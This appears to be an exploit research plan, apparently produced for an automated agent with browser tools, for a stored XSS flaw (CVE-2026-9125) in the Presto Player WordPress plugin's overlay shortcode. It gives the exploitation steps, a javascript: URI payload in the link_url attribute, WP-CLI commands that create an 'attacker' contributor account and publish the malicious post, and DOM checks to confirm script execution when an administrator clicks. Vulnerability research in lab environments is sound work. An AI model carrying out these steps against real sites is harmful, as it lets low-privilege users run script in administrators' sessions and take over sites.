The Ultimate Video Player For WordPress <= 4.2.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'link_url' Shortcode Attribute

This research plan outlines the technical steps to analyze and exploit CVE-2026-9125, a Stored Cross-Site Scripting (XSS) vulnerability in the Presto Player plugin for WordPress.

1. Vulnerability Summary

The Presto Player plugin (versions <= 4.2.0) contains a Stored XSS vulnerability within the [presto_player_overlay] shortcode. The vulnerability arises because the link_url attribute is processed by the getOverlays() function (inferred PHP logic) and passed to the frontend without sufficient sanitization or scheme validation (e.g., failing to use esc_url()). Specifically, javascript: URIs are permitted to persist and are rendered as the href attribute of an anchor element within the presto-dynamic-overlay-ui web component. An attacker with Contributor-level privileges can inject malicious scripts that execute when a user clicks the affected overlay.

2. Attack Vector Analysis

• Shortcode: [presto_player_overlay]
• Vulnerable Attribute: link_url
• Payload Type: javascript: protocol URI.
• Authentication: Authenticated (Contributor or higher).
• Precondition: The attacker must be able to create or edit a post/page and insert shortcodes.
• Endpoint: Post creation/update via Gutenberg editor (REST API) or Classic Editor.
• Sink: The href attribute of a clickable anchor tag in the presto-dynamic-overlay-ui component.

3. Code Flow (Inferred)

1. Registration: The plugin registers the [presto_player_overlay] shortcode using add_shortcode.
2. Parsing: When a page containing the shortcode is rendered, the callback function (likely involving getOverlays()) parses the attributes.
3. Storage/Transfer: The raw link_url value is stored in a configuration object or passed as a property to the web component.
4. Rendering: In dist/collection/components/core/features/presto-dynamic-overlays/ui/presto-dynamic-overlay-ui.js (referenced in stats.json), the component creates an anchor element:

   // Pseudo-code representation of the web component UI logic
   render() {
     return h('a', { href: this.overlayConfig.link_url }, ...);
   }
   

5. Execution: Since link_url is not validated against a protocol allowlist, javascript:alert(1) is rendered as <a href="javascript:alert(1)">. Clicking the overlay triggers the script.

4. Nonce Acquisition Strategy

While shortcodes themselves do not require nonces for frontend execution, saving the post containing the shortcode via the REST API requires a _wpnonce.

1. Shortcode Context: The plugin likely enqueues its dashboard or player scripts on pages where the player is active.
2. Strategy:
   • Use wp post create via CLI to set up a post with the shortcode. This avoids manual nonce handling for the initial setup.
   • If manual REST API interaction is required, navigate to the WordPress Dashboard (/wp-admin/index.php) using browser_navigate.
   • Use browser_eval to extract the REST nonce from the standard WordPress wpApiSettings object:

     browser_eval("window.wpApiSettings?.nonce")
     

   • Alternatively, if the plugin localizes its own nonces, check the presto_player or presto_player_overlay JS objects.

5. Exploitation Strategy

The goal is to inject a payload that executes in the context of an administrator viewing the post.

1. Setup: Create a Contributor user.
2. Payload Crafting: Use a standard XSS payload wrapped in the javascript: protocol:
   • javascript:alert(document.domain)
3. Injection: As the Contributor, create a post containing the malicious shortcode.
   • Note: The overlay likely needs visibility triggers (like time="0") to appear.
   • Shortcode: [presto_player_overlay link_url="javascript:alert(origin)" text="Click Me" time="0"] (attributes inferred).
4. Trigger: Log in as an Administrator and navigate to the published post.
5. Execution: Click the rendered overlay element.

6. Test Data Setup

Before exploitation, configure the environment:

# 1. Install and activate the affected version of Presto Player (<= 4.2.0)
# (Assuming the plugin is already provided or installed in the environment)

# 2. Create a Contributor user
wp user create attacker attacker@example.com --role=contributor --user_pass=password123

# 3. Create a post with the vulnerable shortcode as the Contributor
# We use wp-cli to simplify the "Storage" phase
wp post create \
  --post_type=post \
  --post_status=publish \
  --post_title="Free Video Lesson" \
  --post_author=$(wp user get attacker --field=ID) \
  --post_content='[presto_player_overlay link_url="javascript:alert(document.domain)" text="Exclusive Content - Click Here" time="0"]'

7. Expected Results

• The shortcode should be rendered by the plugin on the frontend.
• Inspecting the HTML of the overlay should reveal an <a> tag with href="javascript:alert(document.domain)".
• Clicking the overlay should trigger a browser alert showing the domain, confirming arbitrary JavaScript execution.

8. Verification Steps

After performing the HTTP request (as an Admin), verify the state:

1. Inspect Content: Verify the shortcode remains unescaped in the database.

   wp post get <POST_ID> --field=post_content
   

2. DOM Check: Using browser_eval, check if the anchor tag exists with the malicious href:

   browser_eval("document.querySelector('presto-dynamic-overlay-ui a')?.href")
   

9. Alternative Approaches

If the link_url is reflected in a non-anchor context or if standard shortcode placement is restricted:

• Block Editor (Gutenberg): Attempt to inject the payload via the Presto Player blocks (e.g., Overlay Block) if the shortcode is generated via the block editor.
• Data Attributes: Check if the payload survives within a JSON configuration string inside a data- attribute, which might be processed by JSON.parse() and then rendered to the DOM using .innerHTML or similar sinks.